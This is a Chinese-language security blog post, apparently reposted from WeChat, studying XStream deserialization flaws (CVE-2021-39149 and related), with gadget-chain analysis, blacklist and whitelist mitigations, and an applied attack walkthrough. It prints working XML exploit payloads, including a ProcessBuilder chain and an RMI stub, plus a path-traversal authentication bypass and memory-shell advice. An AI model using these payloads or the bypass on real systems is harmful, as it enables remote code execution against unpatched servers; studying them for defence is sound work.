本文为xstream&java新手的总结文章,有不足和错误之处请大师父们及时指正,谢谢!
放个总目录方便大家知道写的什么:
这玩意跟fastjson的用法类似。不过一个是处理xml格式的,另一个是json的。
不过我上面这个说法也不准确。毕竟官方说了
Due to XStream's flexible architecture, handling of JSON mappings is as easy as handling of XML documents. All you have to do is to initialize XStream object with an appropriate driver and you are ready to serialize your objects to (and from) JSON.
简单来说就是他也能适配json。
所以xstream是用于将java对象序列化为XML或者将XML反序列化为java对象,是一个转换器。
使用toXML进行反序列化:
使用fromxml反序列化:
Xstream是我见过最有意思的。他所有的漏洞,他的官网都给出了利用的poc:
例如CVE-2021-39149:
具体可以看这个:https://x-stream.github.io/security.html
查看相关poc可以得知:
CVE-2021-39154 需要JNDI
CVE-2021-39153 可以使用TemplatesImpl加载字节码(JDK版本限制在8到14且要求同时安装了JavaFX)
CVE-2021-39152 SSRF
此处省略。。。。多个CVE
全部看下来就会发现这个好poc
CVE-2021-39149 不受jdk版本限制,只要xstream低于1.4.17就被影响,另外还使用TemplatesImpl加载字节码(这样打内存马啥的都很方便)(注意官方给的poc有坑,下文会讲)
写这一章前,think一下。漏洞原理需要学习到什么程度?
拿poc去debug调用链?还是知道xstream漏洞怎么挖?
我个人觉得学习漏洞的原理有几个好处:
1.在工具利用不了的时候能自己改poc
2.能够举一反三其他反序列化漏洞
3.深刻理解Xstream反序列化漏洞,怎么防御这个漏洞,补丁怎么修复的,漏洞的真实成因?
抱着这三个好处继续学习。
我觉得官方的漏洞成因写的很好了。英语太菜直接上中文:
简单来说就是fromxml这个函数把xml转化为java对象时没有限制,因而配合上java的反射等机制,就能直接RCE.
debug代码。看到的就是xml的解析过程,怎么反序列化成java对象的。
太长了。跟半天到了dynamic-proxy解析:
没意思转头看大佬文章(https://www.cnblogs.com/nice0e3/p/15046895.html#eventhandler%E7%B1%BB)
文章里面说Xstream分为:
AbstractDriver:负责流解析器(支持xml和Json)和编写器的创建。
MarshallingStrategy 就是管序列化和反序列化的借口。
Mapper: 映射器。XML的elementName通过mapper获取对应类、成员、属性的class对象。
ConvertLookup 提供转化器功能。
文中提到了XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器。
再来看poc,上面提到的转化器可以将xml里面的dynamic-proxy标签内容转换成动态代理类对象。
然后就会调用interface标签的接口类方法,并且通过动态代理机制访问下一个handler标签指定的类方法也就是
下面的CompositeInvocationHandlerImpl:
还是不懂利用poc怎么构造的。
接下来看这个:
https://www.lightless.me/archives/java-unserialization-jdk7u21.html
从这篇文章了解到:
Java 中的动态代理十分灵活,只需要为一组接口指定好 InvocationHandler 对象,那么调用接口方法的时候,将会被转派到 handler 对象的 invoke 方法,在这个方法中可以通过反射执行原方法,也可以做一些其他的操作。
里面还提到LinkedHashSet 被反序列的时候,会调用其父类 HashSet 的 readObject 方法。
所以把LinkedHashSet 放到外围是为了实现最后的readObject。
然后总结一下jdk7u21这条链子就是如下:
对比xstream(CVE-2021-39149)的链子:
所以其实这些poc都是大佬对链子的一个xml描述。最后xml的poc怎么来的看一下这个吧(太长了):
https://xz.aliyun.com/t/10360#toc-2
有点hp。把代码也给我翻译了:
挑一个低版本的建议(注释学习法):
xstream.registerConverter(new Converter() {
//针对转化器Convert进行过滤
public boolean canConvert(Class type) {
return type != null
//可以看到常用的代码执行类都被ban调用了。例如java.lang.ProcessBuilder
&& (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class || type == java.lang.Void.class || void.class
|| type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("sun.awt.datatransfer.DataTransferer$IndexOrderComparator")
|| type.getName().equals("com.sun.corba.se.impl.activation.ServerTableEntry") || type.getName().equals("com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator")
//下面这几行ban掉了一些常用的恶意类:ClassLoader、各种反射reflect、jndi
|| type.getName().matches("javafx\.collections\.ObservableList\$.*") ||
type.getName().matches(".*\$ServiceNameIterator") || type.getName().matches(".*\$GetterSetterReflection")
|| type.getName().matches(".*\$LazyIterator") || type.getName().matches(".*\$ProxyLazyValue") || type.getName().matches(".*\.bcel\..*\.util\.ClassLoader")
|| type.getName().matches(".*\.ws\.client\.sei\..*") || type.getName().matches("com\.sun\.jndi\..*Enumerat(?:ion|or)")
|| type.getName().endsWith(".$URLData") || type.getName().endsWith(".xsltc.trax.TemplatesImpl")
|| type.getName().startsWith("sun.reflect.") || type.getName().startsWith("sun.tracing.") || type.getName().startsWith("com.sun.corba.")
|| java.io.InputStream.class.isAssignableFrom(type) || java.nio.channels.Channel.isAssignableFrom(type)
|| javax.activation.DataSource.isAssignableFrom(type) ||javax.sql.rowset.BaseRowSet.isAssignableFrom(type)
|| Proxy.isProxy(type));
}
//匹配到恶意的就不准反序列化也就是unmarshal
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
//匹配到恶意的就不准序列化也就是marshal
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
}, XStream.PRIORITY_VERY_HIGH);
当然其实一看就知道是黑名单机制,官方最后还是弄出来了白名单。
使用安全框架:
白名单的例子:
XStream xstream = new XStream();
// clear out existing permissions and start a whitelist
xstream.addPermission(NoTypePermission.NONE);
// allow some basics
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
xstream.allowTypeHierarchy(Collection.class);
// allow any type from the same package
xstream.allowTypesByWildcard(new String[]
{
Blog.class.getPackage().getName()+".*" });
最好的肯定是把xstream升级到没有漏洞的安全版本>1.4.19
不能升级的还是那张图:
[+] xstream <= 1.4.17能打。 1.4.18后开启白名单的安全框架,不太行了。
如果项目中使用了xstream.fromXMLx0;(可控)那么就可以试试。
例子:
然后需要看看有没有cc和cb.有的话可以配合ysoserial进行更好的利用。
xstream使用内存马(Teamlateimpl链子):
https://xz.aliyun.com/t/10360#toc-0
建议使用woodpecker
提供简单的xml检测是否使用Xstream:
命令执行(实战中很多都是无回显的。建议写一个可回显的帮助判断,攻防可直接写内存马,大哥们自己改一下byte-array里面的内容即可):
这儿要注意woodpecker的插件用到了ysoserial里面的反序列化链。但实际上从39149的反序列化链来看,不需要其他的组件链路也可反序列化。
内存马不会?算了woodpecker为你解决一切烦恼(建议回忆飘如雪师傅给我打钱,天天帮你宣传你的工具好用):
什么你说你不想用工具你要手打?
先写个恶意类:
转化为base64后的类字节码:
yv66vg不就来了:
什么你拿着官网的yv66vg不知道咋办?(脚本小子工具多)
代码分析,看下pom低于利用版本可打:
全局搜索fromxml:
进入后发现一个可疑的上传功能:
简单读一下,就是这个接口可以上传zip文件,然后会帮我们unzip解压,然后sqlfilename获取的就是解压文件里面的第一个,看上面最后会拼接到fromXML中。
这样看来不是很美好,做个压缩包,里面xml放Xstream的Poc不就成了。
看一下路由:
看一下参数:
但是去打站会发现302:
看了下网上的文章,有个这个:
api不鉴权的话如果路由能正常解析../。就可以api/../去绕认证。
ok可以:
接下来开打:
首先制作一个压缩包,然后压缩如下内容:
paste压缩包有坑(用mac的就懂了,windows不影响)
响应出现xstream就说明解析了。网上随便找了一个
ok了:
以下纯纯试Poc系列,不想看可以结束了。
随便挑了几个复现了。
jdk版本无限制
建议大家用用官方给的poc。头都想给他拧ha来,给报错poc弹不出来计算器。
xml文件中检查一下发现有错误标签如下:
但是还是弹不出来计算器,查文章:https://xz.aliyun.com/t/10360#toc-3
发现少了一行这个:
加上就可以了:
jdk版本无限制
直接java.lang.Runtime:
JDK版本要在7u21及以下
混在中间不复现了。
开局简易poc
<sun.rmi.registry.RegistryImpl_Stub serialization="custom">
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>127.0.0.1</string>
<int>6666</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</sun.rmi.registry.RegistryImpl_Stub>
vulhub复现
影响范围<=1.4.13
复现环境:1.4.9
影响版本:<=1.4.15
测试环境:XStream1.4.9 jdk1.8_108
poc
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>java.lang.ProcessBuilder</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='java.lang.ProcessBuilder'>
<command>
<string>open</string>
<string>/System/Applications/Calculator.app</string>
</command>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
calc:
xstream<=1.4.17 jdk8-14
https://x-stream.github.io/CVE-2021-39150.html
参考文章:
https://www.cnblogs.com/nice0e3/p/15046895.html#0x00-%E5%89%8D%E8%A8%80
https://xz.aliyun.com/t/10360#toc-3
https://xz.aliyun.com/t/10619
https://www.jianshu.com/p/adadff8e3225
原文始发于微信公众号(千寻安服):一场XStream的偶遇
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论